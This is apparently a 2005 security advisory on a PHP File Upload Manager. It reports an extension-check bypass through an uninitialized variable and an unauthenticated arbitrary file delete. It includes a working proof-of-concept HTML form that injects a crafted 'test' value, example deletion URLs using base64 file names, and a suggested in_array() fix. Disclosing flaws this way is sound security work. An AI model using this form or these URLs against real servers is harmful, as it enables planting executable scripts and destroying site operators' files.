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File Upload Manager - Bypass File Extension and Arbitrary File Delete
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Through an input validation flaw, users are able to upload files that are not on the approve extension list. This can potentially allow users to upload .php files and gain permissions of the web server to execute commands and scripts.
The code that checks for invalid file extensions makes use of an uninitialized variable which you can inject values into:
for($i=0;$i<count($file_ext_allow);$i++)
{
if (getlast($fileupload_name)!=$file_ext_allow[$i])
$test.="~~";
}
$exp=explode("~~",$test);
if (count($exp)==(count($file_ext_allow)+1))
{ // (do not upload) } else { // (upload) }
With each mismatch, they add '~~' to the variable 'test' and then compare it to the count of the original valid file extensions array.
Users can create an html form with an extra form variable 'test' with the value of '~~~~~~' which will allow you to bypass the extension validation:
<form method="post" enctype="multipart/form-data" action="http://www.asdf.com/url/to/fileuploader/index.php">
file: <input type="file" name="fileupload" class="textfield" size="30">
exxploitz: <input type="text" name="test" class="textfield" size="46" value="~~~~~~">
<input type="submit" value="upload" class="button">
</form>
Fix: Use php's in_array() function to check to see if an extension is in the valid list.
In an unrelated flaw, users are able to delete arbitrary files on the webserver by not checking authentication before passing it to delete functions.
url to view a file: /index.php?act=view&file=d2VlLnBocC50eHQ=
url to delete the same file: /index.php?act=del&file=d2VlLnBocC50eHQ=
to choose what file to delete, just do base64_encode("filename");
Received on Jun 13 2005
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